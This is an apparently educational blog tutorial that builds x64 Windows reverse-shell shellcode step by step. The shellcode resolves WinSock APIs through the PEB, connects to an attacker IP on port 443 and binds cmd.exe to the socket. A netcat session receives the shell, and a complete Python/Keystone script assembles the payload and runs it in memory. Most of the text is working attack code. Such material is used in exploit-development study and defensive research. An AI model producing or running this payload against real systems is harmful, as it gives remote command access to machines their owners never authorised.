Previously, we looked at WinExec shellcode. In this article, we’re going to be writing shellcode to connect back to an attacker system and provide command line access to the victim host.
Four steps are needed to do this;
Find GetProcAddress
Locate the Kernel32 Base Address
Parse the Kernel32 Export Address Table
Lookup the the GetProcAddress function pointer
Load the WinSock DLL
Execute GetProcAddress to find the address of LoadLibraryA.
Use LoadLibraryA to load WS2_32.DLL (the DLL needed to create a network socket)
Create a Socket Connection
Lookup the WSAStartup address (needed to initiate usage of WinSock by a process)
Call WSAStartup
Lookup the WSASocketA Address and call the function to spawn a socket
Lookup and call WSAConnect
Spawn cmd.exe connected to the socket
Lookup the address of CreateProcessA.
Create the STARTUPINFOA stucture for use with CreateProcessA, setting STD INPUT/OUTPUT/ERROR to our socket handle.
Call CreateProcessA.
String Operations
I wrote the following script to deal with little endian string encoding, which is certainly better than manually encoding characters!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | import binascii import argparse def encodeCommand(command): result = " ".join(" {: 02x }". format ( ord (c)) for c in command) ba = bytearray.fromhex(result) ba.reverse() ba. hex () input = ba. hex () input = input [:: - 1 ] n = 16 byte_list = [ input [i:i + n] for i in range ( 0 , len ( input ), n)] for x in reversed (byte_list): print ( "mov rax, 0x" + x[:: - 1 ]) print ( "push rax;" ) argParser = argparse.ArgumentParser() argParser.add_argument( "-t" , "--text" , help = "text to encode" , required = True ) args = argParser.parse_args() encodeCommand(args.text) |
The below output shows the WSAStartup string being encoded.
1 2 3 4 5 | PS C:\Users\user\Desktop> python3 .\little_endian_converter.py -t WSAStartup mov rax, 0x7075 push rax; mov rax, 0x7472617453415357 push rax; |
Find GetProcAddress
I won’t be covering the process in depth here, since it’s basically the same steps from the previous article. We start by locating the base address of Kernel32.dll, then parse the export address table to find the GetProcAddress pointer.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | " start: " " add rsp, 0xfffffffffffffdf8;" # Avoid Null Byte " locate_kernel32:" " xor rcx, rcx;" # Zero RCX contents " mov rax, gs:[rcx + 0x60];" # 0x060 ProcessEnvironmentBlock to RAX. " mov rax, [rax + 0x18];" # 0x18 ProcessEnvironmentBlock.Ldr Offset " mov rsi, [rax + 0x20];" # 0x20 Offset = ProcessEnvironmentBlock.Ldr.InMemoryOrderModuleList " lodsq;" # Load qword at address (R)SI into RAX (ProcessEnvironmentBlock.Ldr.InMemoryOrderModuleList) " xchg rax, rsi;" # Swap RAX,RSI " lodsq;" # Load qword at address (R)SI into RAX " mov rbx, [rax + 0x20] ;" # RBX = Kernel32 base address " mov r8, rbx; " # Copy Kernel32 base address to R8 register # Code for parsing Export Address Table " mov ebx, [rbx+0x3C]; " # Get Kernel32 PE Signature (offset 0x3C) into EBX " add rbx, r8; " # Add defrerenced signature offset to kernel32 base. Store in RBX. " xor r12,r12;" " add r12, 0x88FFFFF;" " shr r12, 0x14;" " mov edx, [rbx+r12];" # Offset from PE32 Signature to Export Address Table " add rdx, r8;" # RDX = kernel32.dll + RVA ExportTable = ExportTable Address " mov r10d, [rdx+0x14];" # Number of functions " xor r11, r11;" # Zero R11 before use " mov r11d, [rdx+0x20];" # AddressOfNames RVA " add r11, r8;" # AddressOfNames VMA # Loop over Export Address Table to find GetProcAddress Name " mov rcx, r10;" # Set loop counter "kernel32findfunction: " " jecxz FunctionNameFound;" # Loop around this function until we find WinExec " xor ebx,ebx;" # Zero EBX for use " mov ebx, [r11+4+rcx*4];" # EBX = RVA for first AddressOfName " add rbx, r8;" # RBX = Function name VMA " dec rcx;" # Decrement our loop by one " mov rax, 0x41636f7250746547;" # GetProcA " cmp [rbx], rax;" # Check if we found GetProcA " jnz kernel32findfunction;" "FunctionNameFound: " # Find GetProcessAddress # We found our target " xor r11, r11;" " mov r11d, [rdx+0x24];" # AddressOfNameOrdinals RVA " add r11, r8;" # AddressOfNameOrdinals VMA # Get the function ordinal from AddressOfNameOrdinals " inc rcx;" " mov r13w, [r11+rcx*2];" # AddressOfNameOrdinals + Counter. RCX = counter # Get function address from AddressOfFunctions " xor r11, r11;" " mov r11d, [rdx+0x1c];" # AddressOfFunctions RVA " add r11, r8;" # AddressOfFunctions VMA in R11. Kernel32+RVA for addressoffunctions " mov eax, [r11+4+r13*4];" # Get the function RVA. " add rax, r8;" # Add base address to function RVA " mov r14, rax;" # GetProcAddress to R14 |
Pausing execution after the code runs shows the R14 register now contains the address of GetProcAddress.
1 2 3 4 | 0:008> r r14 r14=00007ffa4b0e9b70 0:008> x kernel32!GetProcAddress* 00007ffa`4b0e9b70 KERNEL32!GetProcAddressStub (GetProcAddressStub) |
Load the WinSock DLL
Next, we want to find the address of LoadLibraryA to load the WinSock library.
Since GetProcAddress is currently stored in non volatile register R14, we just need to call it supplying the module base address (in this case the previously resolved Kernel32 base) and the name of the function. Below is the functions signature;
1 2 3 4 | FARPROC GetProcAddress( [in] HMODULE hModule, [in] LPCSTR lpProcName ); |
Below shows how we find the address of LoadLibraryA using GetProcAddress.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | # Below to resolve LoadLibraryA using GetProcAddress " mov rcx, 0x41797261; " " push rcx; " " mov rcx, 0x7262694c64616f4c; " " push rcx; " " mov rdx, rsp; " # LoadLibraryA into RDX " mov rcx, r8; " # Copy Kernel32 base address to RCX " sub rsp, 0x30; " # Make some room on the stack " call r14;" # Call GetProcessAddress " add rsp, 0x30; " # Remove allocated stack space " add rsp, 0x10; " # Remove Allocated LoadLibrary string " mov rsi, rax; " # Save the address of loadlibrary in RSI # Call LoadLibraryA on WS2_32.DLL " xor rax, rax;" " mov rax, 0x6C6C; " # ll " push rax;" " mov rax, 0x642E32335F325357;" # WS2_32.d " push rax;" " mov rcx, rsp;" # copy stack string to RCX " sub rsp, 0x30;" " call rsi;" # Call LoadLibraryA " mov r15, rax;" " add rsp, 0x30;" # Clean allocated space on stack " add rsp, 0x10;" # Clean space for ws2_32.dll |
Finally, we can call LoadLibraryA on WS2_32.DLL to ensure it’s loaded in the programs virtual address space. The function only takes one parameter, which is the name of the library to be loaded;
1 2 3 | HMODULE LoadLibraryA( [in] LPCSTR lpLibFileName ); |
1 2 3 4 5 6 7 8 9 10 11 12 | # Call LoadLibraryA on WS2_32.DLL " xor rax, rax;" " mov rax, 0x6C6C; " # ll " push rax;" " mov rax, 0x642E32335F325357;" # WS2_32.d " push rax;" " mov rcx, rsp;" # copy stack string to RCX " sub rsp, 0x30;" " call rsi;" # Call LoadLibraryA " mov r15, rax;" " add rsp, 0x30;" # Clean allocated space on stack " add rsp, 0x10;" # Clean space for ws2_32.dll |
Create a Socket Connection
First, we need to call WSAStartup. The WSAStartup function initiates use of the Winsock DLL by a process. We only need to supply the version (2.2) and a pointer to an area in memory where a WSADATA structure will be stored.
1 2 3 4 | int WSAStartup( WORD wVersionRequired, # 0x0202 == Version 2.2 [out] LPWSADATA lpWSAData # Pointer to where a WSADATA structure will be populated ); |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | # Get WSAStartup Address " mov rax, 0x7075;" " push rax;" " mov rax, 0x7472617453415357;" " push rax;" " mov rdx, rsp; " # WSAStartup into RDX " mov rcx, r15; " # Copy WS2_32 base address to RCX " sub rsp, 0x30; " # Make some room on the stack " call r14;" # Call GetProcessAddress " add rsp, 0x30; " # Remove allocated stack space " add rsp, 0x10; " # Remove Allocated LoadLibrary string " mov r12, rax; " # Save the address of WSAStartup in RSI # Call WSAStartup " xor rcx,rcx; " " mov cx,408; " " sub rsp,rcx; " " lea rdx,[rsp]; " # lpWSAData " mov cx,514; " # wVersionRequired " sub rsp,88; " " call r12; " # Call WSAStartup |
Next, we call WSASocketA. Below shows the method signature and the values we want to populate.
1 2 3 4 5 6 7 8 | SOCKET WSAAPI WSASocketA( [in] int af, # RCX (AF_INET == 2) [in] int type, # RDX (SOCK_STREAM == 1) [in] int protocol, # R8 (IPPROTO_TCP == 6) [in] LPWSAPROTOCOL_INFOA lpProtocolInfo, # R9 (NULL) [in] GROUP g, # Stack (NULL) [in] DWORD dwFlags # Stack (NULL) ); |
The function can be called using the following code;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | # Create a socket with WSASocketA " sub rsp,0x208;" " xor rdx, rdx;" " sub rsp, 88;" " mov [rsp+32], rdx;" " mov [rsp+40], rdx;" " inc rdx;" " mov rcx, rdx;" " inc rcx;" " xor r8,r8;" " add r8,6;" " xor r9,r9;" " mov r9w,98*4;" " mov ebx,[r15+r9];" " xor r9,r9;" " call r12;" " mov r13, rax;" " add rsp, 0x208;" |
This results in our register and stack values being set correctly;
1 2 3 4 5 6 7 8 9 10 11 | 0:008> r rax=00007ffa4b1a4850 rbx=0000000000051a1c rcx=0000000000000002 rdx=0000000000000001 rsi=00007ffa4b0efcc0 rdi=0000000000000000 rip=00000117fef70194 rsp=000000011456f730 rbp=0000000000000000 r8=0000000000000006 r9=0000000000000000 r10=0000000000000055 r11=000000011456f630 r12=00007ffa4b1a4850 r13=00000000000002c3 r14=00007ffa4b0e9b70 r15=00007ffa4b190000 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b 0:008> dq rsp L2 00000001`1456f730 00000000`00000000 00000000`00000000 |
Next, we need to call WSAConnect. We provide this function the IP address and port of the system we want to connect to.
1 2 3 4 5 6 7 8 9 | int WSAAPI WSAConnect( [in] SOCKET s, [in] const sockaddr *name, [in] int namelen, [in] LPWSABUF lpCallerData, [out] LPWSABUF lpCalleeData, [in] LPQOS lpSQOS, [in] LPQOS lpGQOS ); |
Formatting the IP address and port can be done using WinDBG.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | # IP Address Calculations 0:008> ? 0n192 Evaluate expression: 192 = 00000000`000000c0 0:008> ? 0n168 Evaluate expression: 168 = 00000000`000000a8 0:008> ? 0n1 Evaluate expression: 1 = 00000000`00000001 0:008> ? 0n193 Evaluate expression: 193 = 00000000`000000c1 # 192.168.1.193 = 0xc101a8c0 0:008> ? 0n443 Evaluate expression: 443 = 00000000`000001bb Port 443 = 0xbb01 |
Once again, we find the functions address using GetProcAddress.
1 2 3 4 5 6 7 8 9 10 11 12 | # Lookup WSAConnect Address " mov rax, 0x7463;" " push rax;" " mov rax, 0x656e6e6f43415357;" " push rax;" # WSAConnect " mov rdx, rsp; " # WSAConnect into RDX " mov rcx, r15; " # Copy WS2_32 base address to RCX " sub rsp, 0x30; " # Make some room on the stack " call r14;" # Call GetProcessAddress " add rsp, 0x30; " # Remove allocated stack space " add rsp, 0x10; " # Remove Allocated LoadLibrary string " mov r12, rax; " # Save the address of WSAConnect in R12 |
Then call the function to make a connection.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | " mov rcx, r13;" # Our socket handle as parameter 1 " sub rsp,0x208;" # Make some room on the stack " xor rax,rax;" " inc rax; " " inc rax; " " mov [rsp], rax;" # AF_INET = 2 " mov rax, 0xbb01;" # Port " mov [rsp+2], rax; " # Port " mov rax, 0xc101a8c0;" # IP " mov [rsp+4], rax ;" # IP " lea rdx,[rsp];" # Save our pointer to RDX " mov r8, 0x16; " # Move 0x10 to namelen " xor r9,r9;" " push r9;" # NULL lpCallerData " push r9;" # NULL lpCallerData " push r9;" # NULL lpSQOS " sub rsp, 0x88; " # NULL lpSQOS " call r12;" # Call WSAConnect |
Spawn cmd.exe Connected to the Socket
With the socket established, we just need to call CreateProcessA to execute cmd.exe, and set it’s input/output handles to our established socket.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | # Find CreateProcessA address in kernel32.dll # Lookup Kernel32 base address again... " xor rcx, rcx;" # Zero RCX contents " mov rax, gs:[rcx + 0x60];" # 0x060 ProcessEnvironmentBlock to RAX. " mov rax, [rax + 0x18];" # 0x18 ProcessEnvironmentBlock.Ldr Offset " mov rsi, [rax + 0x20];" # 0x20 Offset = ProcessEnvironmentBlock.Ldr.InMemoryOrderModuleList " lodsq;" # Load qword at address (R)SI into RAX (ProcessEnvironmentBlock.Ldr.InMemoryOrderModuleList) " xchg rax, rsi;" # Swap RAX,RSI " lodsq;" # Load qword at address (R)SI into RAX " mov rbx, [rax + 0x20] ;" # RBX = Kernel32 base address " mov r8, rbx; " # Copy Kernel32 base address to R8 register # Find address for CreateProcessA. Store in R12 (previously stored WSAConnect) " mov rax, 0x41737365636f;" " push rax;" " mov rax, 0x7250657461657243;" " push rax;" # CreateProcessA " mov rdx, rsp; " # CreateProcessA into RDX " mov rcx, r8; " # Copy Kernel32 base address to RCX " sub rsp, 0x30; " # Make some room on the stack " call r14;" # Call GetProcessAddress " add rsp, 0x30; " # Remove allocated stack space " add rsp, 0x10; " # Remove Allocated CreateProcessA string " mov r12, rax; " # Save the address of CreateProcessA in R12 |
Get a pointer to the string cmd.exe, and create a STARTUPINFOA structure.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | typedef struct _STARTUPINFOA { DWORD cb; LPSTR lpReserved; LPSTR lpDesktop; LPSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; } STARTUPINFOA, *LPSTARTUPINFOA; |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | # Push cmd.exe string to stack " mov rax, 0x6578652e646d63; " " push rax; " " mov rcx, rsp; " # RCX = lpApplicationName (cmd.exe) # STARTUPINFOA Structure " push r13;" # Push STDERROR " push r13;" # Push STDOUTPUT " push r13;" # Push STDINPUT " xor rax,rax; " " push ax;" " push rax;" " push rax;" " mov rax, 0x100;" " push ax;" " xor rax,rax;" " push ax;" " push ax;" " push rax;" " push rax; " # dwXSize = NULL " push rax; " # dwY = NULL " push rax; " # dwX = NULL " push rax; " # lpDesktop = NULL " push rax; " # lpReserved = NULL " mov rax, 0x68;" " push rax;" # SizeOfStruct = 0x68 " mov rdi,rsp;" # Copy the Pointer to RDI |
Examining the structure using WinDBG shows it’s correctly formatted.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | # 0:009> dt STARTUPINFOA [rsp] # combase!STARTUPINFOA # +0x000 cb : 0x68 # +0x008 lpReserved : (null) # +0x010 lpDesktop : (null) # +0x018 lpTitle : (null) # +0x020 dwX : 0 # +0x024 dwY : 0 # +0x028 dwXSize : 0 # +0x02c dwYSize : 0 # +0x030 dwXCountChars : 0 # +0x034 dwYCountChars : 0 # +0x038 dwFillAttribute : 0 # +0x03c dwFlags : 0x100 # +0x040 wShowWindow : 0 # +0x042 cbReserved2 : 0 # +0x048 lpReserved2 : (null) # +0x050 hStdInput : (null) # +0x058 hStdOutput : 0x00000000`000000a4 Void # +0x060 hStdError : 0x00000000`000000a4 Void |
Finally, call CreateProcessA to start cmd.exe.
1 2 3 4 5 6 7 8 9 10 11 12 | BOOL CreateProcessA( [in, optional] LPCSTR lpApplicationName, [in, out, optional] LPSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCSTR lpCurrentDirectory, [in] LPSTARTUPINFOA lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation ); |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | # Call CreateProcessA " mov rax, rsp;" # Get current stack pointer " sub rax, 0x500;" " push rax; " # ProcessInfo " push rdi; " # StartupInfo = Pointer to STARTUPINFOA " xor rax, rax; " " push rax; " # lpCurrentDirectory = NULL " push rax; " # lpEnvironment = NULL " push rax;" " inc rax; " " push rax; " # bInheritHandles = 1 " xor rax, rax; " " push rax;" " push rax;" " push rax;" " push rax; " # dwCreationFlags = NULL " mov r8, rax; " # lpThreadAttributes = NULL " mov r9, rax; " # lpProcessAttributes = NULL " mov rdx, rcx; " # lpCommandLine = "cmd.exe" string " mov rcx, rax; " # lpApplicationName = NULL " call r12; " # Call CreateProcessA |
With everything in place, our code should now be able to connect back to an attacker system with a command prompt;
1 2 3 4 5 6 7 8 | ┌──(root㉿kali)-[~] └─# nc -nvv -p 443 -l listening on [any] 443 ... connect to [192.168.1.193] from (UNKNOWN) [192.168.1.213] 54111 Microsoft Windows [Version 10.0.22000.1335] (c) Microsoft Corporation. All rights reserved. C:\Users\user\Desktop> |
Closing Thoughts
- The opcode generated is around 715 bytes, which is quite large. This could be improved by implementing functions to perform address lookups, rather than repeating the same process each time. In addition, instead of using GetProcAddress, we could manually traverse the Export Address Table for DLL’s to locate function pointers.
- The code currently contains NULL bytes. These could be removed through a similar process performed in the last article.
Finished Code Listing
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 | import ctypes, struct import binascii import os import subprocess from keystone import * ##################################################################################### # ██████╗░░█████╗░██████╗░██████╗░███████╗██████╗░░██████╗░░█████╗░████████╗███████╗# # ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔════╝░██╔══██╗╚══██╔══╝██╔════╝# # ██████╦╝██║░░██║██████╔╝██║░░██║█████╗░░██████╔╝██║░░██╗░███████║░░░██║░░░█████╗░░# # ██╔══██╗██║░░██║██╔══██╗██║░░██║██╔══╝░░██╔══██╗██║░░╚██╗██╔══██║░░░██║░░░██╔══╝░░# # ██████╦╝╚█████╔╝██║░░██║██████╔╝███████╗██║░░██║╚██████╔╝██║░░██║░░░██║░░░███████╗# # ╚═════╝░░╚════╝░╚═╝░░╚═╝╚═════╝░╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚═╝░░░╚═╝░░░╚══════╝# ##################################################################################### # x64 Reverse Shell Shellcode # ##################################################################################### def main(): SHELLCODE = ( " start: " " add rsp, 0xfffffffffffffdf8;" # Avoid Null Byte " locate_kernel32:" " xor rcx, rcx;" # Zero RCX contents " mov rax, gs:[rcx + 0x60];" # 0x060 ProcessEnvironmentBlock to RAX. " mov rax, [rax + 0x18];" # 0x18 ProcessEnvironmentBlock.Ldr Offset " mov rsi, [rax + 0x20];" # 0x20 Offset = ProcessEnvironmentBlock.Ldr.InMemoryOrderModuleList " lodsq;" # Load qword at address (R)SI into RAX (ProcessEnvironmentBlock.Ldr.InMemoryOrderModuleList) " xchg rax, rsi;" # Swap RAX,RSI " lodsq;" # Load qword at address (R)SI into RAX " mov rbx, [rax + 0x20] ;" # RBX = Kernel32 base address " mov r8, rbx; " # Copy Kernel32 base address to R8 register # Code for parsing Export Address Table " mov ebx, [rbx+0x3C]; " # Get Kernel32 PE Signature (offset 0x3C) into EBX " add rbx, r8; " # Add defrerenced signature offset to kernel32 base. Store in RBX. " xor r12,r12;" " add r12, 0x88FFFFF;" " shr r12, 0x14;" " mov edx, [rbx+r12];" # Offset from PE32 Signature to Export Address Table " add rdx, r8;" # RDX = kernel32.dll + RVA ExportTable = ExportTable Address " mov r10d, [rdx+0x14];" # Number of functions " xor r11, r11;" # Zero R11 before use " mov r11d, [rdx+0x20];" # AddressOfNames RVA " add r11, r8;" # AddressOfNames VMA # Loop over Export Address Table to find GetProcAddress Name " mov rcx, r10;" # Set loop counter "kernel32findfunction: " " jecxz FunctionNameFound;" # Loop around this function until we find WinExec " xor ebx,ebx;" # Zero EBX for use " mov ebx, [r11+4+rcx*4];" # EBX = RVA for first AddressOfName " add rbx, r8;" # RBX = Function name VMA " dec rcx;" # Decrement our loop by one " mov rax, 0x41636f7250746547;" # GetProcA " cmp [rbx], rax;" # Check if we found GetProcA " jnz kernel32findfunction;" "FunctionNameFound: " # Find GetProcessAddress # We found our target " xor r11, r11;" " mov r11d, [rdx+0x24];" # AddressOfNameOrdinals RVA " add r11, r8;" # AddressOfNameOrdinals VMA # Get the function ordinal from AddressOfNameOrdinals " inc rcx;" " mov r13w, [r11+rcx*2];" # AddressOfNameOrdinals + Counter. RCX = counter # Get function address from AddressOfFunctions " xor r11, r11;" " mov r11d, [rdx+0x1c];" # AddressOfFunctions RVA " add r11, r8;" # AddressOfFunctions VMA in R11. Kernel32+RVA for addressoffunctions " mov eax, [r11+4+r13*4];" # Get the function RVA. " add rax, r8;" # Add base address to function RVA " mov r14, rax;" # GetProcAddress to R14 # Below to resolve LoadLibraryA using GetProcAddress " mov rcx, 0x41797261; " " push rcx; " " mov rcx, 0x7262694c64616f4c; " " push rcx; " " mov rdx, rsp; " # LoadLibraryA into RDX " mov rcx, r8; " # Copy Kernel32 base address to RCX " sub rsp, 0x30; " # Make some room on the stack " call r14;" # Call GetProcessAddress " add rsp, 0x30; " # Remove allocated stack space " add rsp, 0x10; " # Remove Allocated LoadLibrary string " mov rsi, rax; " # Save the address of loadlibrary in RSI # Call LoadLibraryA on WS2_32.DLL " xor rax, rax;" " mov rax, 0x6C6C; " # ll " push rax;" " mov rax, 0x642E32335F325357;" # WS2_32.d " push rax;" " mov rcx, rsp;" # copy stack string to RCX " sub rsp, 0x30;" " call rsi;" # Call LoadLibraryA " mov r15, rax;" " add rsp, 0x30;" # Clean allocated space on stack " add rsp, 0x10;" # Clean space for ws2_32.dll # Get WSAStartup Address " mov rax, 0x7075;" " push rax;" " mov rax, 0x7472617453415357;" " push rax;" " mov rdx, rsp; " # WSAStartup into RDX " mov rcx, r15; " # Copy WS2_32 base address to RCX " sub rsp, 0x30; " # Make some room on the stack " call r14;" # Call GetProcessAddress " add rsp, 0x30; " # Remove allocated stack space " add rsp, 0x10; " # Remove Allocated LoadLibrary string " mov r12, rax; " # Save the address of WSAStartup in RSI " int3;" # Call WSAStartup " xor rcx,rcx; " " mov cx,408; " " sub rsp,rcx; " " lea rdx,[rsp]; " # lpWSAData [out] " mov cx,514; " # wVersionRequired " sub rsp,88; " " call r12; " # Call WSAStartup # Lookup WSASocketA Address " mov rax, 0x4174;" " push rax;" " mov rax, 0x656b636f53415357;" " push rax;" # WSASocketA " mov rdx, rsp; " # WSASocketA into RDX " mov rcx, r15; " # Copy WS2_32 base address to RCX " sub rsp, 0x30; " # Make some room on the stack " call r14;" # Call GetProcessAddress " add rsp, 0x30; " # Remove allocated stack space " add rsp, 0x10; " # Remove Allocated LoadLibrary string " mov r12, rax; " # Save the address of WSASocketA in RSI # Create a socket with WSASocketA " sub rsp,0x208;" " xor rdx, rdx;" " sub rsp, 88;" " mov [rsp+32], rdx;" " mov [rsp+40], rdx;" " inc rdx;" " mov rcx, rdx;" " inc rcx;" " xor r8,r8;" " add r8,6;" " xor r9,r9;" " mov r9w,98*4;" " mov ebx,[r15+r9];" " xor r9,r9;" " call r12;" " mov r13, rax;" " add rsp, 0x208;" # Lookup WSAConnect Address " mov rax, 0x7463;" " push rax;" " mov rax, 0x656e6e6f43415357;" " push rax;" # WSAConnect " mov rdx, rsp; " # WSAConnect into RDX " mov rcx, r15; " # Copy WS2_32 base address to RCX " sub rsp, 0x30; " # Make some room on the stack " call r14;" # Call GetProcessAddress " add rsp, 0x30; " # Remove allocated stack space " add rsp, 0x10; " # Remove Allocated LoadLibrary string " mov r12, rax; " # Save the address of WSAConnect in R12 # Call WSAConnect... " mov rcx, r13;" # Our socket handle as parameter 1 " sub rsp,0x208;" # Make some room on the stack " xor rax,rax;" " inc rax; " " inc rax; " " mov [rsp], rax;" # AF_INET = 2 " mov rax, 0xbb01;" # Port " mov [rsp+2], rax; " # Port " mov rax, 0xce01a8c0;" # IP " mov [rsp+4], rax ;" # IP " lea rdx,[rsp];" # Save our pointer to RDX " mov r8, 0x16; " # Move 0x10 to namelen " xor r9,r9;" " push r9;" # NULL lpCallerData " push r9;" # NULL lpCallerData " push r9;" # NULL lpSQOS " sub rsp, 0x88; " # NULL lpSQOS " call r12;" # Call WSAConnect # Find CreateProcessA address in kernel32.dll # Lookup Kernel32 base address again... " xor rcx, rcx;" # Zero RCX contents " mov rax, gs:[rcx + 0x60];" # 0x060 ProcessEnvironmentBlock to RAX. " mov rax, [rax + 0x18];" # 0x18 ProcessEnvironmentBlock.Ldr Offset " mov rsi, [rax + 0x20];" # 0x20 Offset = ProcessEnvironmentBlock.Ldr.InMemoryOrderModuleList " lodsq;" # Load qword at address (R)SI into RAX (ProcessEnvironmentBlock.Ldr.InMemoryOrderModuleList) " xchg rax, rsi;" # Swap RAX,RSI " lodsq;" # Load qword at address (R)SI into RAX " mov rbx, [rax + 0x20] ;" # RBX = Kernel32 base address " mov r8, rbx; " # Copy Kernel32 base address to R8 register # Find address for CreateProcessA. Store in R12 (previously stored WSAConnect) " mov rax, 0x41737365636f;" " push rax;" " mov rax, 0x7250657461657243;" " push rax;" # CreateProcessA " mov rdx, rsp; " # CreateProcessA into RDX " mov rcx, r8; " # Copy Kernel32 base address to RCX " sub rsp, 0x30; " # Make some room on the stack " call r14;" # Call GetProcessAddress " add rsp, 0x30; " # Remove allocated stack space " add rsp, 0x10; " # Remove Allocated CreateProcessA string " mov r12, rax; " # Save the address of CreateProcessA in R12 # Push cmd.exe string to stack " mov rax, 0x6578652e646d63; " " push rax; " " mov rcx, rsp; " # RCX = lpApplicationName (cmd.exe) # STARTUPINFOA Structure " push r13;" # Push STDERROR " push r13;" # Push STDOUTPUT " push r13;" # Push STDINPUT " xor rax,rax; " " push ax;" " push rax;" " push rax;" " mov rax, 0x100;" " push ax;" " xor rax,rax;" " push ax;" " push ax;" " push rax;" " push rax; " # dwXSize = NULL " push rax; " # dwY = NULL " push rax; " # dwX = NULL " push rax; " # lpDesktop = NULL " push rax; " # lpReserved = NULL " mov rax, 0x68;" " push rax;" # SizeOfStruct = 0x68 " mov rdi,rsp;" # Copy the Pointer to RDI # Call CreateProcessA " mov rax, rsp;" # Get current stack pointer " sub rax, 0x500;" " push rax; " # ProcessInfo " push rdi; " # StartupInfo = Pointer to STARTUPINFOA " xor rax, rax; " " push rax; " # lpCurrentDirectory = NULL " push rax; " # lpEnvironment = NULL " push rax;" # may not be needed! " inc rax; " " push rax; " # bInheritHandles = 1 " xor rax, rax; " " push rax;" " push rax;" " push rax;" " push rax; " # dwCreationFlags = NULL " mov r8, rax; " # lpThreadAttributes = NULL " mov r9, rax; " # lpProcessAttributes = NULL " mov rdx, rcx; " # lpCommandLine = "cmd.exe" string " mov rcx, rax; " # lpApplicationName = NULL " call r12; " # Call CreateProcessA ) # Initialize engine in 64-Bit mode ks = Ks(KS_ARCH_X86, KS_MODE_64) instructions, count = ks.asm(SHELLCODE) sh = b"" output = "" for opcode in instructions: sh + = struct.pack( "B" , opcode) # To encode for execution output + = "\\x{0:02x}" . format ( int (opcode)).rstrip( "\n" ) # For printable shellcode shellcode = bytearray(sh) print ( "Shellcode: " + output ) print ( "Bytes: " + str ( len (sh))) print ( "Attaching debugger to " + str (os.getpid())); subprocess.Popen([ "WinDbgX" , "/g" , "/p" , str (os.getpid())], shell = True ) input ( "Press any key to continue..." ); ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ctypes.windll.kernel32.RtlCopyMemory.argtypes = ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t ) ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int) ) space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int( 0 ),ctypes.c_int( len (shellcode)),ctypes.c_int( 0x3000 ),ctypes.c_int( 0x40 )) buff = ( ctypes.c_char * len (shellcode) ).from_buffer_copy( shellcode ) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),buff,ctypes.c_int( len (shellcode))) handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int( 0 ),ctypes.c_int( 0 ),ctypes.c_void_p(space),ctypes.c_int( 0 ),ctypes.c_int( 0 ),ctypes.pointer(ctypes.c_int( 0 ))) ctypes.windll.kernel32.WaitForSingleObject(handle, - 1 ) if __name__ = = "__main__" : main() |